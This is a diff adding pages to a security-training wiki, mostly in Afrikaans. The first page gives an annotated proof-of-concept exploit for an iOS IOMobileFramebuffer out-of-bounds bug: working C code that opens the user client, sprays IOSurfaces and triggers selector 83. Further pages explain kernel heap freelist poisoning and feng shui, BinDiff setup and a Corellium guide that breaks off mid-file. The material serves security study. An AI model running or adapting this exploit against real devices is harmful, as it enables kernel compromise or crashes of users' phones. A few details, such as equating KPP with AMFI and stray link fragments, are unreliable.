+//    This returns the first matched service object (a kernel object handle).
+io_service_t service = IOServiceGetMatchingService(
+kIOMasterPortDefault,
+IOServiceMatching("IOMobileFramebuffer"));
+
+if (service == MACH_PORT_NULL) {
+printf("failed to open service\n");
+return;
+}
+
+printf("service: 0x%x\n", service);
+
+// 2) Open a connection (user client) to the service.
+//    The user client is what exposes external methods to userland.
+//    'type' selects which user client class/variant to instantiate.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if (ret != KERN_SUCCESS) {
+printf("failed to open userclient: %s\n", mach_error_string(ret));
+return;
+}
+
+printf("client: 0x%x\n", shared_user_client_conn);
+
+printf("call externalMethod\n");
+
+// 3) Prepare input scalars for the external method call.
+//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
+//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
+//    We set it to a large value to force the out-of-bounds access.
+uint64_t scalars[4] = { 0x0 };
+scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
+
+// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
+uint64_t output_scalars[4] = { 0 };
+uint32_t output_scalars_size = 1;
+
+printf("call s_default_fb_surface\n");
+
+// 5) Invoke external method #83.
+//    On vulnerable builds, this path ends up calling:
+//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
+//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
+//      which uses our index to read a pointer and then passes it as IOSurface*.
+//    If the pointer is bogus, IOSurface code will dereference it and the kernel
+//    will panic (DoS).
+ret = IOConnectCallMethod(
+shared_user_client_conn,
+83,                 // **Selector 83**: vulnerable external method
+scalars, 1,         // input scalars (count = 1; the OOB index)
+NULL, 0,            // no input struct
+output_scalars, &output_scalars_size,  // optional outputs
+NULL, NULL);        // no output struct
+
+// 6) Check the call result. On many vulnerable targets, you'll see either
+//    KERN_SUCCESS right before a panic (because the deref happens deeper),
+//    or an error if the call path rejects the request (e.g., entitlement/type).
+if (ret != KERN_SUCCESS) {
+printf("failed to call external method: 0x%x --> %s\n",
+ret, mach_error_string(ret));
+return;
+}
+
+printf("external method returned KERN_SUCCESS\n");
+
+// 7) Clean up the user client connection handle.
+IOServiceClose(shared_user_client_conn);
+printf("success!\n");
+}
+```
+## Arbitrary Read PoC Explained
+
+1. **Om die regte user client te open**
+
+-   `get_appleclcd_uc()` vind die **AppleCLCD** service en open **user client type 2**. AppleCLCD en IOMobileFramebuffer deel dieselfde external-methods tabel; type 2 gee toegang tot **selector 83**, die kwesbare metode. **Dit is jou toegang tot die fout.** E_POC/)
+
+**Waarom 83 saak maak:** die gedecompileerde pad is:
+
+-   `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
+→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
+→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
+Binne daardie laaste oproep, die kode **gebruik jou 32-bit scalar as 'n array index sonder bounds check**, haal 'n pointer vanaf **`this + 0xA58 + index*8`**, en **gee dit as 'n `IOSurface*`** aan `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Dit is die OOB + type confusion.**
+
+2. **Die heap spray (why IOSurface shows up here)**
+
+-   `do_spray()` gebruik **`IOSurfaceRootUserClient`** om **baie IOSurfaces te skep** en **klein waardes te spray** (`s_set_value` style). Dit vul nabygeleë kernel heaps met **pointers na geldige IOSurface objects**.
+
+-   **Doel:** wanneer selector 83 verby die legit tabel lees, bevat die **OOB slot waarskynlik 'n pointer na een van jou (ware) IOSurfaces**—sodat die latere dereference **nie crash nie** en **slaag**. IOSurface is 'n klassieke, goed-gedokumenteerde kernel spray primitive, en Saar se post lys eksplisiet die **create / set_value / lookup** metodes wat in hierdie eksploitasie vloei gebruik word.
+
+3. **Die "offset/8" truuk (wat daardie indeks werklik is)**
+
+-   In `trigger_oob(offset)`, stel jy `scalars[0] = offset / 8`.
+
+-   **Waarom deel deur 8?** Die kernel doen **`base + index*8`** om te bereken watter **pointer-sized slot** om te lees. Jy kies **"slot nommer N"**, nie 'n byte offset nie. **Agt bytes per slot** op 64-bit.
+
+-   Daardie berekende adres is **`this + 0xA58 + index*8`**. Die PoC gebruik 'n groot konstante (`0x1200000 + 0x1048`) eenvoudig om **ver ver uit die perke** te stap in 'n gebied wat jy probeer **digtenns vul met IOSurface pointers**. **As die spray "wen," is die slot wat jy tref 'n geldige `IOSurface*`.**
+
+4. **Wat selector 83 teruggee (dit is die subtiele deel)**
+
+-   Die oproep is:
+
+`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
+output_scalars, &output_scalars_size, NULL, NULL);`o
+
+-   Intern, na die OOB pointer fetch, roep die driver\
+**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
+
+-   **Resultaat:** **`output_scalars[0]` is 'n Mach port name (u32 handle) in jou task** vir *watter objek pointer jy ook al via OOB voorsien het*. **Dit is nie 'n raw kernel address leak nie; dit is 'n userspace handle (send right).** Hierdie presiese gedrag (om 'n *port name* te copy) word in Saar se decompilation getoon.
+
+**Waarom dit nuttig is:** met 'n **port name** na die (vermeende) IOSurface, kan jy nou IOSurfaceRoot metodes gebruik soos:
+
+-   **`s_lookup_surface_from_port` (method 34)** → omskep die port in 'n **surface ID** wat jy met ander IOSurface oproepe kan opereer, en
+
+-   **`s_create_port_from_surface` (method 35)** as jy die inverse nodig het.\
+Saar noem presies hierdie metodes as die volgende stap. **Die PoC bewys dat jy 'n "geregistreerde" IOSurface handle kan "manufacture" vanaf 'n OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
+
+Hierdie [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) en daar is kommentaar bygevoeg om die stappe te verduidelik:
+```c
+#include "exploit.h"
+
+// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
+io_connect_t get_appleclcd_uc(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
+// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
+
+// Find the **AppleCLCD** service in the IORegistry.
+io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
+IOServiceMatching("AppleCLCD"));
+if(service == MACH_PORT_NULL) {
+printf("[-] failed to open service\n");
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD service: 0x%x\n", service);
+
+// Open a user client connection to AppleCLCD with the chosen **type**.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if(ret != KERN_SUCCESS) {
+printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
+return shared_user_client_conn;
+}
+
+// Trigger the OOB index path of external method #83.
+// The 'offset' you pass is in bytes; dividing by 8 converts it to the
+// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
+uint64_t trigger_oob(uint64_t offset) {
+kern_return_t ret;
+
+// The method takes a single 32-bit scalar that it uses as an index.
+uint64_t scalars[1] = { 0x0 };
+scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐
+
+// #83 returns one scalar. In this flow it will be the Mach port name
+// (a u32 handle in our task), not a kernel pointer.
+uint64_t output_scalars[1] = { 0 };
+uint32_t output_scalars_size = 1;
+
+io_connect_t appleclcd_uc = get_appleclcd_uc();
+if (appleclcd_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+// Call external method 83. Internally:
+//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
+//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
+// which creates a send right for that object and writes its port name
+// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
+ret = IOConnectCallMethod(appleclcd_uc, 83,
+scalars, 1,
+NULL, 0,
+output_scalars, &output_scalars_size,
+NULL, NULL);
+
+if (ret != KERN_SUCCESS) {
+printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
+return 0;
+}
+
+// This is the key: you get back a Mach port name (u32) to whatever
+// object was at that OOB slot (ideally an IOSurface you sprayed).
+printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
+return output_scalars[0];
+}
+
+// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
+// real IOSurface (easier & stabler than a fully fake object).
+bool do_spray(void) {
+char data[0x10];
+memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
+
+// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+printf("[-] do_spray: failed to allocate new iosurface_uc\n");
+return false;
+}
+
+// Create many IOSurfaces and use set_value / value spray helpers
+// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
+int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
+for (size_t i = 0; i < SURFACES_COUNT; ++i) {
+surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
+if (surface_ids[i] <= 0) {
+return false;
+}
+
+// Spray small values repeatedly: tends to allocate/fill predictable
+// kalloc regions near where the IOMFB table OOB will read from.
+// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
+if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
+20, 200,   // rounds, per-round items
+data, sizeof(data),
+NULL) == false) {
+printf("iosurface spray failed\n");
+return false;
+}
+}
+return true;
+}
+
+int main(void) {
+// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+printf("[*] do spray\n");
+if (do_spray() == false) {
+printf("[-] shape failed, abort\n");
+return 1;
+}
+printf("[*] spray success\n");
+
+// Trigger the OOB read. The magic constant chooses a pointer-slot
+// far beyond the legit array (offset is in bytes; index = offset/8).
+// If the spray worked, this returns a **Mach port name** (handle) to one
+// of your sprayed IOSurfaces; otherwise it may crash.
+printf("[*] trigger\n");
+trigger_oob(0x1200000 + 0x1048);
+return 0;
+}
+```
+## Verwysings
+- [Oorspronklike writeup deur Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
+- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
+- [Navorsing deur jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md
new file mode 100644
index 000000000..da54e6845
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/README.md
@@ -0,0 +1,266 @@
+# iOS Exploiting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## iOS Exploit Mitigations
+
+- **Code Signing** in iOS werk deur te vereis dat elke stukkie uitvoerbare kode (apps, libraries, extensions, ens.) kriptografies geteken is met 'n sertifikaat wat deur Apple uitgereik is. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple’s trusted root. As die handtekening ongeldig, afwesig of gemodifiseer is, weier die OS om dit te bestuur. Dit verhoed dat aanvalleerders kwaadwillige kode in legitieme apps insit of unsigned binaries uitvoer, en stop dus die meeste exploit-chains wat staatmaak op die uitvoer van arbitrêre of gemanipuleerde kode.
+- **CoreTrust** is die iOS-substelsel wat code signing by runtime afdwing. Dit verifieer handtekeninge direk met Apple’s root certificate sonder om op gecachte trust-stores staat te maak, wat beteken dat slegs binaries gesigneer deur Apple (of met geldige entitlements) kan uitvoer. CoreTrust verseker dat selfs as 'n aanvaller 'n app ná installasie manipuleer, sistembiblioteke wysig of probeer unsigned code laai, die stelsel uitvoering blokkeer tensy die kode steeds behoorlik geteken is. Hierdie streng afdwinging sluit baie post-exploitation vektore wat ouer iOS-weergawes deur swak of omseilbare signature checks toegelaat het.
+- **Data Execution Prevention (DEP)** merk geheuegebiede as nie-uitvoerbaar tensy hulle eksplisiet kode bevat. Dit keer dat aanvalleerders shellcode in data-områdes (soos die stack of heap) insit en uitvoer, en dwing hulle om op meer komplekse tegnieke soos ROP (Return-Oriented Programming) staat te maak.
+- **ASLR (Address Space Layout Randomization)** randomiseer die geheueadresse van kode, libraries, stack en heap elke keer wanneer die stelsel loop. Dit maak dit baie moeiliker vir aanvalleerders om te voorspel waar nuttige instruksies of gadgets is, en breek baie exploit-chains wat op vaste geheue-lay-outs staatmaak.
+- **KASLR (Kernel ASLR)** pas dieselfde randomiseringskonsep op die iOS-kernel toe. Deur die kernel se basisadres by elke opstart te skud, voorkom dit dat aanvalleerders betroubaar kernel-funksies of -strukture lokaliseer, wat die moeilikheidsgraad van kernel-vlak exploits wat volle stelselbeheer sou gee, verhoog.
+- **Kernel Patch Protection (KPP)**, ook bekend as **AMCC (Apple Mobile File Integrity)** in iOS, monitor kontinu die kernel se code pages om te verseker dat dit nie gewysig is nie. As enige manipulasie opgespoor word—soos 'n exploit wat kernel-funksies probeer patch of kwaadwillige kode insit—sal die toestel onmiddellik panic en herbegin. Hierdie beskerming maak volhoubare kernel-exploits aansienlik moeiliker, aangesien aanvalleerders nie net kernel-instruksies kan hook of patch sonder om 'n stelsel-crash te veroorsaak nie.
+- **Kernel Text Readonly Region (KTRR)** is 'n hardeware-gebaseerde sekuriteitsfunksie wat op iOS-toestelle bekendgestel is. Dit gebruik die CPU se geheuebeheerder om die kernel se code (text) afdeling na opstart permanent as read-only te merk. Sodra dit vergrendel is, kan selfs die kernel self hierdie geheuegebied nie wysig nie. Dit keer aanvalleerders — en selfs bevoorregte kode — om kernel-instruksies tydens runtime te patch, en sluit 'n groot klas exploits wat op direkte modifikasie van kernel-kode staatgemaak het, af.
+- **Pointer Authentication Codes (PAC)** gebruik kriptografiese handtekeninge ingebed in ongebruikte bits van pointers om hul integriteit te verifieer voordat hulle gebruik word. Wanneer 'n pointer (soos 'n return address of function pointer) geskep word, teken die CPU dit met 'n geheime sleutel; voor dereferencing, kontroleer die CPU die handtekening. As die pointer gemanipuleer is, misluk die check en stop uitvoering. Dit verhoed dat aanvalleerders vervalste of gekorrupte pointers in memory forgeer of hergebruik in memory corruption exploits, wat tegnieke soos ROP of JOP baie moeiliker maak om betroubaar uit te voer.
+- **Privilege Access never (PAN)** is 'n hardeware-funksie wat die kernel (bevoorregte modus) verhinder om direk user-space memory te benader tensy dit eksplisiet toegang aktief maak. Dit hou aanvalleerders wat kernel code execution verkry het daarvan weerhou om maklik user memory te lees of te skryf om exploits op te skerp of sensitiewe data te steel. Deur streng skeiding af te dwing, verminder PAN die impak van kernel-exploits en blokkeer baie algemene privilege-escalation tegnieke.
+- **Page Protection Layer (PPL)** is 'n iOS-sekuriteitsmeganisme wat kritieke kernel-beheerde geheuegebiede beskerm, veral dié wat verband hou met code signing en entitlements. Dit handhaaf streng write-beskerming met behulp van die MMU (Memory Management Unit) en addisionele kontroles, wat verseker dat selfs bevoorregte kernel-kode nie lukraak sensitiewe pages kan wysig nie. Dit verhoed dat aanvalleerders wat kernel-vlak uitvoering kry sekuriteitskritieke strukture manipuleer, en maak persistentie en code-signing omseilings aansienlik moeiliker.
+
+## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
+
+Die kernel het 'n **zone allocator** (`kalloc`) gebruik wat in vaste-grootte "zones" verdeel is.
+Elke zone stoor slegs allocations van 'n enkele size class.
+
+From the screenshot:
+
+| Zone Name            | Element Size | Example Use                                                                 |
+|----------------------|--------------|-----------------------------------------------------------------------------|
+| `default.kalloc.16`  | 16 bytes     | Very small kernel structs, pointers.                                        |
+| `default.kalloc.32`  | 32 bytes     | Small structs, object headers.                                              |
+| `default.kalloc.64`  | 64 bytes     | IPC messages, tiny kernel buffers.                                          |
+| `default.kalloc.128` | 128 bytes    | Medium objects like parts of `OSObject`.                                    |
+| `default.kalloc.256` | 256 bytes    | Larger IPC messages, arrays, device structures.                             |
+| …                    | …            | …                                                                           |
+| `default.kalloc.1280`| 1280 bytes   | Large structures, IOSurface/graphics metadata.                              |
+
+**How it worked:**
+- Each allocation request gets **rounded up** to the nearest zone size.
+(E.g., a 50-byte request lands in the `kalloc.64` zone).
+- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone.
+- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**.
+
+This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class.
+
+### The freelist
+
+Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks.
+
+- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone.
+
+- The zone kept a HEAD pointer to the first free chunk.
+
+- Allocation always used the current HEAD:
+
+1. Pop HEAD (return that memory to the caller).
+
+2. Update HEAD = HEAD->next (stored in the freed chunk’s header).
+
+- Freeing pushed chunks back:
+
+- `freed_chunk->next = HEAD`
+
+- `HEAD = freed_chunk`
+
+So the freelist was just a linked list built inside the freed memory itself.
+
+Normal state:
+```
+Zone page (64-byte chunks for example):
+[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
+
+Freelist view:
+HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
+(next ptrs stored at start of freed chunks)
+```
+### Exploiting the freelist
+
+Omdat die eerste 8 bytes van 'n free chunk = freelist pointer, kan 'n aanvaller dit korrupteer:
+
+1. **Heap overflow** in 'n aangrensende freed chunk → oorskryf sy “next” pointer.
+
+2. **Use-after-free** skryf in 'n freed object → oorskryf sy “next” pointer.
+
+Dan, by die volgende toewysing van daardie grootte:
+
+- Die allocator haal die gekorrupte chunk uit.
+- Volg die deur die aanvaller verskafde “next” pointer.
+- Gee 'n pointer terug na arbitrêre geheue, wat fake object primitives of geteikende oorskrywing moontlik maak.
+
+Visuele voorbeeld van freelist poisoning:
+```
+Before corruption:
+HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
+
+After attacker overwrite of F1->next:
+HEAD ──► [ F1 ]
+(next) ──► 0xDEAD_BEEF_CAFE_BABE  (attacker-chosen)
+
+Next alloc of this zone → kernel hands out memory at attacker-controlled address.
+```
+This freelist-ontwerp het uitbuiting baie effektief gemaak voor die verharding: voorspelbare bure van heap sprays, ruwe pointer freelist links, en geen tipe-separasie het aanvallers toegelaat om UAF/overflow-bugs te eskaleer na arbitraire beheer van kernel-geheue.
+
+### Heap Grooming / Feng Shui
+Die doel van heap grooming is om die heap-lay-out te **vorm** sodat wanneer 'n aanvaller 'n overflow of use-after-free aktiveer, die teiken (slagoffer) objek presies langs 'n deur-aanvaller-beheerde objek sit.\
+Op dié manier kan die aanvaller, wanneer geheue-korrupsie plaasvind, die slagoffer-objek betroubaar met beheerdata oorskryf.
+
+**Stappe:**
+
+1. Spray allocations (fill the holes)
+- Mettertyd raak die kernel heap gefragmenteerd: sommige zones het gapings waar ou
+objekte vrygestel is.
+- Die aanvaller maak eers baie dummy-allocations om hierdie gapings te vul, sodat
+die heap “gepak” en voorspelbaar raak.
+
+2. Force new pages
+- Sodra die gapings gevul is, moet die volgende allocations van nuwe bladsye
+by die zone kom.
+- Nuwe bladsye beteken objekke sal saamgekluster wees, nie oor ou gefragmenteerde
+geheue versprei nie.
+- Dit gee die aanvaller baie beter beheer oor bure.
+
+3. Place attacker objects
+- Die aanvaller spray weer, en skep baie deur-aanvaller-beheerde objekke
+in daardie nuwe bladsye.
+- Hierdie objekke is voorspelbaar in grootte en posisie (aangesien hulle almal
+aan dieselfde zone behoort).
+
+4. Free a controlled object (make a gap)
+- Die aanvaller vrylaat doelbewus een van hul eie objekke.
+- Dit skep 'n “gat” in die heap, wat die allocator later sal hergebruik vir
+die volgende allocation van daardie grootte.
+
+5. Victim object lands in the hole
+- Die aanvaller laat die kernel die slagoffer-objek (die een wat hulle wil korrupteer) allokeer.
+- Aangesien die gat die eerste beskikbare slot in die freelist is, word die slagoffer
+presies geplaas waar die aanvaller hul objek vrygelaat het.
+
+6. Overflow / UAF into victim
+- Nou het die aanvaller deur-aanvaller-beheerde objekke rondom die slagoffer.
+- Deur te overflow van een van hul eie objekke (of deur 'n vrygestelde een te hergebruik), kan hulle betroubaar die slagoffer se geheuevelde met gekose waardes oorskryf.
+
+**Waarom dit werk**:
+
+- Zone allocator voorspelbaarheid: allocations van dieselfde grootte kom altyd uit
+dieselfde zone.
+- Freelist gedrag: nuwe allocations hergebruik die mees onlangs vrygestelde chunk eerstens.
+- Heap sprays: die aanvaller vul geheue met voorspelbare inhoud en beheer die lay-out.
+- Eindresultaat: die aanvaller beheer waar die slagoffer-objek lands en watter data langs dit sit.
+
+---
+
+## Modern Kernel Heap (iOS 15+/A12+ SoCs)
+
+Apple het die allocator gehard en gemaak dat **heap grooming baie moeiliker** is:
+
+### 1. From Classic kalloc to kalloc_type
+- **Before**: 'n enkele `kalloc.<size>` zone het bestaan vir elke grootteklas (16, 32, 64, … 1280, ens.). Enige objek van daardie grootte is daar geplaas → aanvaller-objekte kon langs bevoorregte kernel-objekte sit.
+- **Now**:
+- Kernel-objekte word gealloceer uit **typed zones** (`kalloc_type`).
+- Elke tipe objek (bv. `ipc_port_t`, `task_t`, `OSString`, `OSData`) het sy eie toegewyde zone, selfs al is hulle dieselfde grootte.
+- Die mapping tussen objektipe ↔ zone word gegenereer uit die **kalloc_type system** by saamstelling.
+
+'n Aanvaller kan nie meer waarborg dat beheerde data (`OSData`) langs sensitiewe kernel-objekte (`task_t`) van dieselfde grootte eindig nie.
+
+### 2. Slabs and Per-CPU Caches
+- Die heap is verdeel in **slabs** (bladsye geheue in vaste-grootte stukke gesny vir daardie zone).
+- Elke zone het 'n **per-CPU cache** om konflik te verminder.
+- Allocatiepad:
+1. Probeer per-CPU cache.
+2. As dit leeg is, haal van die globale freelist.
+3. As die freelist leeg is, allokeer 'n nuwe slab (een of meer bladsye).
+- **Voordeel**: Hierdie desentralisasie maak heap sprays minder deterministies, aangesien allocations moontlik deur verskillende CPU's se caches bevredig word.
+
+### 3. Randomization inside zones
+- Binne 'n zone word vrygestelde elemente nie in eenvoudige FIFO/LIFO volgorde teruggegee nie.
+- Moderne XNU gebruik **encoded freelist pointers** (safe-linking soos Linux, bekendgestel ~iOS 14).
+- Elke freelist-pointer is **XOR-gekodeer** met 'n per-zone geheime cookie.
+- Dit verhoed dat aanvallers 'n vals freelist-pointer kan voorsê indien hulle 'n write-primitive kry.
+- Sommige allocations word **gerandomiseer in hul plasing binne 'n slab**, so spraying waarborg nie nabyheid nie.
+
+### 4. Guarded Allocations
+- Sekere kritieke kernel-objekte (bv. credentials, task-strukture) word gealloceer in **guarded zones**.
+- Hierdie zones sit **guard pages** (nie-gemapde geheue) tussen slabs in of gebruik **redzones** rondom objekke.
+- Enige overflow in die guard page veroorsaak 'n fout → onmiddellike panic in plaas van stille korrupsie.
+
+### 5. Page Protection Layer (PPL) and SPTM
+- Selfs as jy 'n vrygestelde objek beheer, kan jy nie al die kernel-geheue wysig nie:
+- **PPL (Page Protection Layer)** dwing af dat sekere streke (bv. code signing data, entitlements) **slegs-lees** is selfs vir die kernel self.
+- Op **A15/M2+ devices**, word hierdie rol vervang/versterk deur **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
+- Hierdie hardware-afgedwonge lae beteken aanvallers kan nie van 'n enkele heap-korrupsie eskaleer na arbitraire patching van kritieke sekuriteitsstrukture nie.
+
+### 6. Large Allocations
+- Nie alle allocations gaan deur `kalloc_type` nie.
+- Baie groot versoeke (bo ~16KB) omseil typed zones en word direk vanaf **kernel VM (kmem)** deur bladsy-allocations bedien.
+- Hierdie is minder voorspelbaar, maar ook minder uitbuitbaar, aangesien hulle nie slabs met ander objekke deel nie.
+
+### 7. Allocation Patterns Attackers Target
+Alhoewel hierdie beskermings bestaan, soek aanvallers steeds na:
+- **Reference count objects**: as jy die retain/release tellers kan manipuleer, kan jy use-after-free veroorsaak.
+- **Objects with function pointers (vtables)**: korruptering van een gee steeds control flow.
+- **Shared memory objects (IOSurface, Mach ports)**: hierdie bly teiken omdat hulle user ↔ kernel bridge.
+
+Maar — anders as voorheen — kan jy nie net `OSData` spray en verwag dat dit langs 'n `task_t` sit nie. Jy het behoefte aan **type-specific bugs** of **info leaks** om te slaag.
+
+### Example: Allocation Flow in Modern Heap
+
+Stel userspace roep in op IOKit om 'n `OSData`-objek te allokeer:
+
+1. **Type lookup** → `OSData` map na `kalloc_type_osdata` zone (grootte 64 bytes).
+2. Check per-CPU cache vir vry elemente.
+- As gevind → gee een terug.
+- As leeg → gaan na globale freelist.
+- As freelist leeg → allokeer 'n nuwe slab (bladsy van 4KB → 64 stukke van 64 bytes).
+3. Gee chunk terug aan caller.
+
+**Freelist pointer protection**:
+- Elke vrygestelde chunk stoor die adres van die volgende vrye chunk, maar gekodeer met 'n geheime sleutel.
+- Oorskryf van daardie veld met aanvaller-data sal nie werk tensy jy die sleutel ken.
+
+## Comparison Table
+
+| Feature                         | **Old Heap (Pre-iOS 15)**                                  | **Modern Heap (iOS 15+ / A12+)**                  |
+|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
+| Allocation granularity          | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.)        | Size + **type-based buckets** (`kalloc_type`)    |
+| Placement predictability         | High (same-size objects side by side)                     | Low (same-type grouping + randomness)            |
+| Freelist management             | Raw pointers in freed chunks (easy to corrupt)             | **Encoded pointers** (safe-linking style)        |
+| Adjacent object control         | Easy via sprays/frees (feng shui predictable)              | Hard — typed zones separate attacker objects      |
+| Kernel data/code protections    | Few hardware protections                                   | **PPL / SPTM** protect page tables & code pages   |
+| Exploit reliability             | High with heap sprays                                      | Much lower, requires logic bugs or info leaks     |
+
+## (Old) Physical Use-After-Free via IOSurface
+
+{{#ref}}
+ios-physical-uaf-iosurface.md
+{{#endref}}
+
+---
+
+## Ghidra Install BinDiff
+
+Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
+
+Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch.
+
+### Using BinDiff with Kernel versions
+
+1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
+2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+{{#endref}}
+
+3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
+4. Open each kernelcache so they are automatically analyzed by Ghidra.
+5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
+6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
+
+---
+
+## Finding the right XNU version
+
+If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
+
+For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
+
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md
new file mode 100644
index 000000000..1c14e86fa
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md
@@ -0,0 +1,79 @@
+# iOS Hoe om met Corellium te verbind
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## **Vereistes**
+- 'n Corellium iOS VM (jailbroken of nie). In hierdie gids gaan ons daarvan uit dat jy toegang tot Corellium het.
+- Plaaslike gereedskap: **ssh/scp**.
+- (Opsioneel) **SSH keys** bygevoeg tot jou Corellium-projek vir wagwoordlose aanmeldings.
+
+
+## **Verbind met die iPhone VM vanaf localhost**
+
+### A) **Quick Connect (no VPN)**
+0) Voeg jou ssh key in **`/admin/projects`** (aanbeveel).
+1) Maak die toestelbladsy oop → **Connect**
+2) **Kopieer die Quick Connect SSH command** wat deur Corellium gewys word en plak dit in jou terminal.
+3) Voer die wagwoord in of gebruik jou sleutel (aanbeveel).
+
+### B) **VPN → direct SSH**
+0) Voeg jou ssh key in **`/admin/projects`** (aanbeveel).
+1) Toestelbladsy → **CONNECT** → **VPN** → laai die `.ovpn` af en verbind met enige VPN-kliënt wat TAP-mode ondersteun. (Kyk [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) as jy probleme ondervind.)
+2) SSH na die VM se **10.11.x.x** adres:
+```bash
+ssh root@10.11.1.1
+```
+## **Laai 'n inheemse binêre op & voer dit uit**
+
+### 2.1 **Oplaai**
+- As Quick Connect jou 'n host/port gegee het:
+```bash
+scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
+```
+- As jy VPN gebruik (10.11.x.x):
+```bash
+scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
+```
+## **Laai op & installeer 'n iOS-app (.ipa)**
+
+### Pad A — **Web UI (vinnigste)**
+1) Toestelblad → **Apps** oortjie → **Install App** → kies jou `.ipa`.
+2) Vanaf dieselfde oortjie kan jy **launch/kill/uninstall**.
+
+### Pad B — **Skripgedrewe via Corellium Agent**
+1) Gebruik die API Agent om eers te **upload** en dan te **install**:
+```js
